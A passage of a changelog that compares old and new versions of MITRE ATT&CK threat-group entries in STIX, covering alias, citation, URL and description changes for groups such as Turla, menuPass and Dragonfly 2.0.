| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| x_mitre_version | 1.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} | |
| external_references | {'source_name': 'UK NCSC Olympic Attacks October 2020', 'description': 'UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.', 'url': 'https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games'} |
Current version: 2.1
Version changed from: 1.1 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:30:06.863000+00:00 | 2021-05-26 19:54:55.580000+00:00 |
| external_references[2]['source_name'] | Cyber Forensicator Silence Jan 2019 | WHISPER SPIDER |
| external_references[2]['description'] | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SecureList Silence Nov 2017 | Cyber Forensicator Silence Jan 2019 |
| external_references[3]['description'] | GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019. | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. |
| external_references[3]['url'] | https://securelist.com/the-silence/83009/ | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| x_mitre_version | 1.1 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WHISPER SPIDER | |
| external_references | {'source_name': 'SecureList Silence Nov 2017', 'description': 'GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.', 'url': 'https://securelist.com/the-silence/83009/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:39:02.606000+00:00 | 2021-12-01 23:27:44.104000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 3.0
Version changed from: 1.4 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://securelist.com/the-epic-turla-operation/65545/ | |
| external_references | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf | |
| external_references | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 20:25:26.398000+00:00 | 2022-03-09 23:34:47.461000+00:00 |
| external_references[2]['source_name'] | Waterbug | IRON HUNTER |
| external_references[2]['description'] | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) | (Citation: Secureworks IRON HUNTER Profile) |
| external_references[3]['source_name'] | WhiteBear | Group 88 |
| external_references[3]['description'] | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) | (Citation: Leonardo Turla Penquin May 2020) |
| external_references[4]['source_name'] | VENOMOUS BEAR | Belugasturgeon |
| external_references[4]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | (Citation: Accenture HyperStack October 2020) |
| external_references[5]['source_name'] | Snake | Waterbug |
| external_references[5]['description'] | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) |
| external_references[6]['source_name'] | Krypton | WhiteBear |
| external_references[6]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021) |
| external_references[7]['source_name'] | Kaspersky Turla | VENOMOUS BEAR |
| external_references[7]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021) |
| external_references[8]['source_name'] | ESET Gazer Aug 2017 | Snake |
| external_references[8]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021) |
| external_references[9]['source_name'] | CrowdStrike VENOMOUS BEAR | Krypton |
| external_references[9]['description'] | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. | (Citation: CrowdStrike VENOMOUS BEAR) |
| external_references[10]['source_name'] | ESET Turla Mosquito Jan 2018 | Kaspersky Turla |
| external_references[10]['description'] | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. |
| external_references[10]['url'] | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf | https://securelist.com/the-epic-turla-operation/65545/ |
| external_references[11]['source_name'] | Symantec Waterbug | ESET Gazer Aug 2017 |
| external_references[11]['description'] | Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[11]['url'] | https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1 | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[12]['source_name'] | Securelist WhiteBear Aug 2017 | CrowdStrike VENOMOUS BEAR |
| external_references[12]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. |
| external_references[12]['url'] | https://securelist.com/introducing-whitebear/81638/ | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ |
| external_references[13]['source_name'] | ESET Turla PowerShell May 2019 | ESET Turla Mosquito Jan 2018 |
| external_references[13]['description'] | Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. |
| external_references[13]['url'] | https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | IRON HUNTER | |
| aliases | Group 88 | |
| aliases | Belugasturgeon | |
| external_references | {'source_name': 'Secureworks IRON HUNTER Profile', 'description': 'Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.', 'url': 'http://www.secureworks.com/research/threat-profiles/iron-hunter'} | |
| external_references | {'source_name': 'Leonardo Turla Penquin May 2020', 'description': 'Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.', 'url': 'https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf'} | |
| external_references | {'source_name': 'Accenture HyperStack October 2020', 'description': 'Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.', 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity'} | |
| external_references | {'source_name': 'Symantec Waterbug', 'description': 'Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.', 'url': 'https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1'} | |
| external_references | {'source_name': 'Securelist WhiteBear Aug 2017', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", 'url': 'https://securelist.com/introducing-whitebear/81638/'} | |
| external_references | {'source_name': 'Talos TinyTurla September 2021', 'description': 'Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.', 'url': 'https://blog.talosintelligence.com/2021/09/tinyturla.html'} | |
| external_references | {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'} |
Current version: 2.1
Version changed from: 1.5 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa | t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa |
| > | t group that appears to originate from China and has been ac | > | t group that has been active since at least 2006. Individual | ||
| > | tive since approximately 2009. The group has targeted health | > | members of [menuPass](https://attack.mitre.org/groups/G0045 | ||
| > | care, defense, aerospace, and government sectors, and has ta | > | ) are known to have acted in association with the Chinese Mi | ||
| > | rgeted Japanese victims since at least 2014. In 2016 and 201 | > | nistry of State Security's (MSS) Tianjin State Security Bure | ||
| > | 7, the group targeted managed IT service providers, manufact | > | au and worked for the Huaying Haitai Science and Technology | ||
| > | uring and mining companies, and a university. (Citation: Pal | > | Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: | ||
| > | o Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast O | > | District Court of NY APT10 Indictment December 2018) [menu | ||
| > | ct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud | > | Pass](https://attack.mitre.org/groups/G0045) has targeted he | ||
| > | Hopper April 2017) (Citation: FireEye APT10 April 2017) (Ci | > | althcare, defense, aerospace, finance, maritime, biotechnolo | ||
| > | tation: DOJ APT10 Dec 2018) | > | gy, energy, and government sectors globally, with an emphasi | ||
| > | s on Japanese organizations. In 2016 and 2017, the group is | ||||
| > | known to have targeted managed IT service providers (MSPs), | ||||
| > | manufacturing and mining companies, and a university.(Citati | ||||
| > | on: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike Crowd | ||||
| > | Cast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC C | ||||
| > | loud Hopper April 2017)(Citation: FireEye APT10 April 2017)( | ||||
| > | Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY | ||||
| > | APT10 Indictment December 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ | |
| external_references | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 17:15:14.339000+00:00 | 2021-10-11 14:01:44.538000+00:00 |
| description | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018) | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) [menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[1]['description'] | (Citation: Palo Alto menuPass Feb 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[2]['source_name'] | Stone Panda | Cicada |
| external_references[2]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018) | (Citation: Symantec Cicada November 2020) |
| external_references[3]['source_name'] | APT10 | POTASSIUM |
| external_references[3]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018) | (Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[4]['source_name'] | Red Apollo | Stone Panda |
| external_references[4]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020) |
| external_references[5]['source_name'] | CVNX | APT10 |
| external_references[5]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020) |
| external_references[6]['source_name'] | HOGFISH | Red Apollo |
| external_references[6]['description'] | (Citation: Accenture Hogfish April 2018) | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[7]['source_name'] | Palo Alto menuPass Feb 2017 | CVNX |
| external_references[7]['description'] | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[8]['source_name'] | Crowdstrike CrowdCast Oct 2013 | HOGFISH |
| external_references[8]['description'] | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. | (Citation: Accenture Hogfish April 2018) |
| external_references[9]['source_name'] | FireEye Poison Ivy | DOJ APT10 Dec 2018 |
| external_references[9]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. |
| external_references[9]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion |
| external_references[10]['source_name'] | PWC Cloud Hopper April 2017 | District Court of NY APT10 Indictment December 2018 |
| external_references[10]['description'] | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. | US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020. |
| external_references[10]['url'] | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf | https://www.justice.gov/opa/page/file/1122671/download |
| external_references[11]['source_name'] | FireEye APT10 April 2017 | Palo Alto menuPass Feb 2017 |
| external_references[11]['description'] | FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017. | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ |
| external_references[12]['source_name'] | DOJ APT10 Dec 2018 | Crowdstrike CrowdCast Oct 2013 |
| external_references[12]['description'] | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. |
| external_references[12]['url'] | https://www.justice.gov/opa/press-release/file/1121706/download | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| external_references[13]['source_name'] | Accenture Hogfish April 2018 | FireEye Poison Ivy |
| external_references[13]['description'] | Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. |
| external_references[13]['url'] | https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| external_references[14]['source_name'] | FireEye APT10 Sept 2018 | PWC Cloud Hopper April 2017 |
| external_references[14]['description'] | Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. |
| external_references[14]['url'] | https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf |
| x_mitre_version | 1.5 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Cicada | |
| aliases | POTASSIUM | |
| external_references | {'source_name': 'FireEye APT10 April 2017', 'description': 'FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html'} | |
| external_references | {'source_name': 'Symantec Cicada November 2020', 'description': 'Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage'} | |
| external_references | {'source_name': 'Accenture Hogfish April 2018', 'description': 'Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.', 'url': 'https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf'} | |
| external_references | {'source_name': 'FireEye APT10 Sept 2018', 'description': 'Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html'} |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-17 21:11:30.305000+00:00 | 2021-02-09 13:49:09.605000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-03-22 20:14:29.575000+00:00 | 2022-01-19 18:25:05.148000+00:00 |
| external_references[2]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[2]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Orangeworm](https://attack.mitre.org/groups/G0071) is a gro | t | 1 | [Orangeworm](https://attack.mitre.org/groups/G0071) is a gro |
| > | up that has targeted organizations in the healthcare sector | > | up that has targeted organizations in the healthcare sector | ||
| > | in the United States, Europe, and Asia since at least 2015, | > | in the United States, Europe, and Asia since at least 2015, | ||
| > | likely for the purpose of corporate espionage. (Citation: Sy | > | likely for the purpose of corporate espionage.(Citation: Sym | ||
| > | mantec Orangeworm April 2018) | > | antec Orangeworm April 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:12:41.915000+00:00 | 2021-10-26 22:29:09.327000+00:00 |
| description | [Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018) | [Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:21:39.854000+00:00 | 2022-04-15 16:27:38.682000+00:00 |
| external_references[2]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
| external_references[3]['description'] | DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. | DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. |
Current version: 2.1
Description: [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )
This object has been revoked by [G0035] Dragonfly
Description for [G0035] Dragonfly: [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:14:58.980000+00:00 | 2022-05-11 14:00:00.188000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| revoked | False | True |
| external_references[1]['source_name'] | Dragonfly 2.0 | DYMALLOY |
| external_references[1]['description'] | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: Dragos DYMALLOY ) |
| external_references[2]['source_name'] | IRON LIBERTY | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) | (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[3]['source_name'] | DYMALLOY | IRON LIBERTY |
| external_references[3]['description'] | (Citation: Dragos DYMALLOY ) | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) |
| external_references[4]['source_name'] | Berserk Bear | Dragonfly 2.0 |
| external_references[4]['description'] | (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[5]['source_name'] | US-CERT TA18-074A | Dragos DYMALLOY |
| external_references[5]['description'] | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[5]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://www.dragos.com/threat/dymalloy/ |
| external_references[6]['source_name'] | Symantec Dragonfly Sept 2017 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[6]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[6]['url'] | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| external_references[7]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | Secureworks MCMD July 2019 |
